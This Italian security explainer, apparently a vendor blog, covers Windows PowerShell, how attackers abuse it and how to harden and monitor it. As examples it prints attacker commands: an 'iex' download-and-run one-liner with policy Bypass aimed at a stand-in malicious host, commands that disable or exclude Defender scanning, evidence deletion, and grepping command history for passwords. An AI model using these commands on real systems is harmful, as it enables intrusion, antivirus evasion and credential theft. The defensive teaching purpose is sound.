
Che cos'è Windows PowerShell?
Windows PowerShell è un potente strumento di automazione. Comprendi le sue implicazioni per la sicurezza e come utilizzarlo in modo sicuro nel tuo ambiente.

Windows PowerShell è un potente linguaggio di scripting e una shell a riga di comando per automatizzare attività e gestire configurazioni. Questa guida esplora le funzionalità e le capacità di PowerShell, incluso il suo ruolo nell’amministrazione dei sistemi e nella sicurezza.
Scopri i comandi PowerShell più comuni, le best practice di scripting e come sfruttare PowerShell per finalità di cybersecurity. Comprendere PowerShell è essenziale per i professionisti IT e gli operatori della sicurezza.

In che modo PowerShell può influire sulle risorse di valore della tua azienda? Scopri le basi di PowerShell, perché è interessante per gli hacker e come proteggere l’azienda
Microsoft PowerShell è una shell a riga di comando e un linguaggio di scripting utilizzato per automatizzare attività e gestire sistemi basati su Windows. È comunemente utilizzato da amministratori e professionisti della sicurezza per automatizzare attività di routine, gestire e monitorare i sistemi e automatizzare le risposte agli incidenti di sicurezza. Gli attaccanti usano spesso PowerShell per ottenere accesso non autorizzato ai sistemi ed eseguire codice dannoso.
Microsoft PowerShell è disponibile su Windows fin dal 2006, ma ora è la shell di comando per Esplora file su Windows 10 e ha in gran parte sostituito il vecchio strumento cmd.exe. Sebbene sia spesso considerato arcano dagli utenti comuni, PowerShell è diventato essenziale per i team IT e gli amministratori di rete grazie alla sua flessibilità e potenza. In questa guida introduttiva spiegheremo le basi di PowerShell, perché è interessante per gli hacker e gli autori di malware, e cosa puoi fare per proteggere la tua organizzazione.
Scegli la tua versione
Se digiti ‘PowerShell’ nel campo di ricerca di Cortana, ti verranno presentate un paio di opzioni, PowerShell ISE e l’app PowerShell Desktop. Inoltre, se fai clic con il pulsante destro del mouse sul menu Start o su una delle icone di PowerShell nella barra delle applicazioni, vedrai che ci sono due modi diversi per avviare ciascuna versione di PowerShell: come utente corrente o come amministratore.

Gli amministratori che desiderano automatizzare attività comuni probabilmente useranno l’interfaccia ISE per sviluppare moduli e script PowerShell, ma per l’uso interattivo la maggior parte sceglierà l’app PowerShell Desktop ed eseguirà il programma come amministratore o come utente corrente a seconda dell’attività.
Potresti anche sentir parlare di PowerShell Core, un’edizione open source multipiattaforma che funziona non solo su Windows, ma anche su Linux e macOS:

Fai attenzione però, perché viene installato come binario non firmato e potrebbe facilmente essere sostituito da un impostore dannoso. Se hai endpoint che utilizzano PowerShell Core, assicurati che la tua organizzazione lo firmi con un certificato appropriato oppure esegua controlli shasum regolari per verificare che non sia stato manomesso.
Sebbene vi siano alcune differenze di capacità tra le diverse versioni di PowerShell, tutte possono eseguire sessioni remote tramite SSH e interagire con un’ampia varietà di processi e servizi. PowerShell può persino interagire con il registro di Windows e il registro eventi. E tutto questo significa che un avversario con accesso a PowerShell dispone dello stesso accesso e degli stessi vantaggi.
Sprigionare la potenza
Puoi iniziare a farti un’idea delle capacità di PowerShell con due semplici comandi:
Get-Module -ListAvailable
per elencare i moduli disponibili, e
Get-Command
per elencare i comandi disponibili:

Diamo una rapida occhiata ad alcuni esempi. Supponiamo che tu (o un avversario) ti stia spostando all’interno di una directory di documenti e voglia trovare rapidamente se c’è qualcosa di interessante. Un comando come il seguente produrrà in output le prime e le ultime due righe di ogni file di testo nella directory, scendendo ricorsivamente nelle directory figlie e includendo eventuali file nascosti o invisibili, e convogliando l’output in un altro file di testo per una successiva consultazione o acquisizione:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Se qualcuno stesse cercando documenti che potrebbero iniziare con “Confidential” o terminare con la posizione dell’autore come “Chief Financial Officer”, questo potrebbe essere un modo “rapido e approssimativo” per enumerare gli elementi di interesse.
Eliminare un elemento, magari per cancellare eventuali prove di intrusione, è semplicemente una questione di
Remove-Item <path>
PowerShell consente inoltre agli utenti di manipolare il sistema operativo in modi interessanti e, ahimè, pericolosi. Se un autore di malware vuole aggirare il motore AV preinstallato di Microsoft Defender, l’esecuzione di un comando PowerShell con i privilegi appropriati può disabilitarlo:
Set-MpPreference -DisableRealTimeMonitoring $true
oppure, in modo un po’ più furtivo, escludere un’unità o un percorso dai suoi percorsi di ricerca:
Add-MpPreference -ExclusionPath “c:”
PowerShell rende inoltre semplice per gli attaccanti fare cose come enumerare le unità di rete e interrogare il registro eventi, un modo utile per trovare informazioni sfruttabili, rispettivamente con Get-PSDrive e Get-EventLog.

Uno strumento utile sia per gli utenti sia per i malintenzionati è la possibilità di leggere la cronologia dei comandi, inclusi eventuali argomenti passati a essi, che sono stati inseriti in modo interattivo sulla riga di comando. La cronologia è memorizzata nel percorso restituito da questo comando:
(Get-PSReadLineOption).HistorySavePath
e possiamo usare cat e il cmdlet Select-String (o il suo alias sls) per “grep” o cercare efficacemente nei comandi elementi di interesse (ad esempio, come le password!):

Script & Exploit Kit
Tuttavia, lavorare con PowerShell sulla riga di comando non è dove si trovano le migliori opportunità per gli attori malevoli. Più pericolosa è la capacità di PowerShell di eseguire script sia in memoria (ovvero attacchi malware “fileless”) sia da disco. Entrambi possono essere eseguiti direttamente su un host o da remoto.
Come il comando eval della shell Unix, PowerShell dispone di Invoke-Expression (e del suo alias iex), che rende possibile scaricare ed eseguire uno script dannoso in memoria. Possiamo aggiungere Bypass per cercare di aggirare una policy di esecuzione restrittiva:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Non sorprende che non ci sia voluto molto tempo prima che comparissero interi framework di sfruttamento che sfruttano PowerShell al massimo del suo potenziale.
Il primo tra questi è PowerSploit, una raccolta di script PowerShell che può aiutare a manipolare e controllare la macchina di una vittima.

PowerShell Empire si basa sul lavoro di PowerSploit e di diversi altri progetti per creare uno strumento di post-exploitation in grado di eludere il rilevamento di rete, eseguire keylogger e avviare altri moduli come Mimikatz per estrarre password in chiaro, hash di password e altri dati direttamente dalla memoria.

L’ascesa degli attacchi PowerShell
La creazione di script PowerShell e di comandi PowerShell che possono essere eseguiti da altri tipi di file Windows, .exe, .bat, .wsf e .LNK, è uno dei motivi per cui il malware basato su PowerShell è aumentato negli ultimi anni. Con una stima che afferma che gli exploit PowerShell rappresentano quasi il 40% degli incidenti malware, non c’è dubbio che gli avversari lo stiano utilizzando in un’ampia varietà di campagne, dal ransomware al furto di credenziali e ai trojan bancari. PowerShell è stato inoltre implicato in click-fraud, intercettazione di password ed esfiltrazione di dati.
DNSMessenger è un malware individuato mentre si diffondeva in una macro di un documento Word. Utilizza in modo intelligente il codice sorgente VBA per distribuire comandi PowerShell codificati al fine di ottenere persistenza, distribuire il proprio payload e comunicare con un server C&C.
Sorprendentemente, alcuni attacchi PowerShell non richiedono nemmeno il PowerShell.exe integrato. Strumenti come PowerShdll e InsecurePowerShell possono eseguire script direttamente sfruttando la System.Management.Automation.dll che è alla base del binario PowerShell. In breve, l’eseguibile PowerShell è solo un host o un wrapper per il codice reale nella libreria a collegamento dinamico. Gli attacchi possono sfruttare questo aspetto per fare in modo che essenzialmente qualsiasi processo esegua script e comandi PowerShell.
Altri usi creativi di PowerShell prevedono l’incorporamento di uno script PowerShell nei pixel di un file PNG e la generazione di una one-liner per eseguirlo usando Invoke-PSImage, oppure la conversione di script PowerShell in file EXE con strumenti come PS2EXE.
Gestire PowerShell
Probabilmente da tutto questo è chiaro che limitarsi a bloccare PowerShell.exe sarebbe inutile, per non parlare del grande onere per gli amministratori di sistema che sono arrivati a fare affidamento su ciò che PowerShell offre. È importante comprendere che PowerShell e le DLL su cui si basa sono parti integranti del sistema operativo Windows e, con l’avvento di PowerShell Core, questa potenza si estende alle opportunità di amministrazione multipiattaforma che le aziende possono ritenere essenziali.
Una soluzione aziendale efficace per gestire la duplice natura di PowerShell è una soluzione come SentinelOne, che osserva il comportamento dei processi in esecuzione sull’endpoint. Questo è efficace perché operano in modo simile indipendentemente da come vengono implementati gli attacchi malware. L’agente SentinelOne monitora tutte le attività sull’agente per differenziare quelle dannose da quelle legittime. Poiché l’agente dispone già del contesto completo: utenti, processi, argomenti della riga di comando, registro, file sul disco e comunicazioni esterne, l’attività dannosa può essere mitigata indipendentemente dalla fonte.
Ti piace questo articolo? Seguici su LinkedIn, Twitter, YouTube o Facebook per vedere i contenuti che pubblichiamo.
Leggi di più sulla sicurezza di Windows
- Il trojan bancario Hancitor è tornato | Utilizza allegati Word dannosi
- SentinelOne rileva e blocca una nuova variante di Powershell CryptoWorm
- Un nuovo tipo di file di Windows 10 può essere sfruttato per eseguire applicazioni dannose

Cybersicurezza alimentata dall'intelligenza artificiale
Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.
FAQ su Windows PowerShell
Windows PowerShell è una shell a riga di comando e un linguaggio di scripting di Microsoft basato su .NET Framework. Consente di usare cmdlet—semplici comandi verbo-sostantivo—per automatizzare attività come la gestione del file system, del registro e dei servizi.
PowerShell gestisce e restituisce oggetti invece di testo semplice, quindi puoi instradare dati strutturati da un cmdlet al successivo. Supporta anche il remoting, i moduli e la guida nella console per la gestione del sistema.
A differenza del vecchio CMD, PowerShell usa cmdlet con un formato verbo-sostantivo e lavora con oggetti .NET anziché con flussi di testo. Ciò significa che puoi concatenare i comandi tramite pipeline senza analizzare il testo. Gli script PowerShell possono chiamare direttamente le API .NET, offrire una gestione degli errori più avanzata e supportare i moduli.
Le shell tradizionali gestiscono solo testo semplice e script batch di base, mentre PowerShell fornisce un ambiente di scripting completo per automazione e configurazione.
La profonda integrazione con il sistema e la potenza di scripting di PowerShell lo rendono uno strumento preferito sia dagli amministratori sia dagli attaccanti. I threat actor usano tecniche fileless—eseguendo script in memoria—per eludere il rilevamento.
PowerShell può disabilitare le difese, scaricare codice dannoso o rubare credenziali senza toccare il disco. La sua ubiquità in Windows significa che i difensori devono trattare l'attività PowerShell come ad alto rischio e monitorarla attentamente per rilevare abusi.
In uno studio di Cisco, PowerShell è stato coinvolto in oltre un terzo delle minacce critiche alla sicurezza sugli endpoint. Carbon Black ha segnalato abusi di PowerShell nel 38 percento degli incidenti, spesso in azioni post-exploit come il movimento laterale o il furto di credenziali.
Anche se l'uso normale è basso, PowerShell compare in circa uno ogni quattordici incontri malevoli confermati.
Abilita tutta la registrazione di PowerShell: registrazione dei moduli, registrazione dei blocchi di script e trascrizione. Imposta la dimensione del log ad almeno 150 MB e raccogli gli eventi da
Microsoft-Windows-PowerShell/Operational e PowerShellCore/Operational. Invia i log a SIEM o XDR. Blocca gli script provenienti da processi padre non attendibili e limita la execution policy ai soli script firmati. Attiva Protected Event Logging per maggiori dettagli.
Usa Just Enough Administration (JEA) per limitare l'accesso degli utenti ai soli cmdlet approvati. Applica la modalità constrained language per disabilitare COM, WMI e le espressioni complesse. Distribuisci criteri di Application Control (ad es., WDAC) per inserire nella whitelist gli script firmati.
Mantieni PowerShell aggiornato alla versione v5.1 o successiva. Rivedi e ottimizza regolarmente le impostazioni di logging per garantire che ogni esecuzione di script venga registrata.
Bloccare completamente PowerShell può compromettere la gestione del sistema e l'amministrazione remota. Microsoft sconsiglia la rimozione totale. Limita invece l'esecuzione agli amministratori autorizzati, applica il controllo delle applicazioni e impedisci l'avvio di PowerShell da processi padre non attendibili come le app di Office.
Combinati con logging e monitoraggio, questi controlli fermano la maggior parte degli usi malevoli senza compromettere le operazioni legittime.
PowerShell consente ai difensori di automatizzare la risposta agli incidenti, raccogliere rapidamente dati forensi e svolgere threat hunting. Puoi scrivere script per raccogliere artefatti del registro, elenchi di processi e connessioni di rete in pochi minuti. Imparare PowerShell aiuta anche a comprendere le tecniche degli attaccanti, poiché molti strumenti post-exploit (Empire, Cobalt Strike) usano PowerShell dietro le quinte.
Gli script PowerShell possono raccogliere memoria live, chiavi Run del registro, log eventi e dati di rete per il triage. Strumenti della community come DFIR-Script automatizzano la raccolta delle prove sugli endpoint. Gli hunter usano PowerShell per interrogare Windows Event ID 4104 alla ricerca di blocchi di script dannosi, analizzare l'output e inviare i risultati ai playbook SOAR. Questo rende PowerShell una parte fondamentale dei flussi di lavoro di rilevamento, contenimento e remediation.



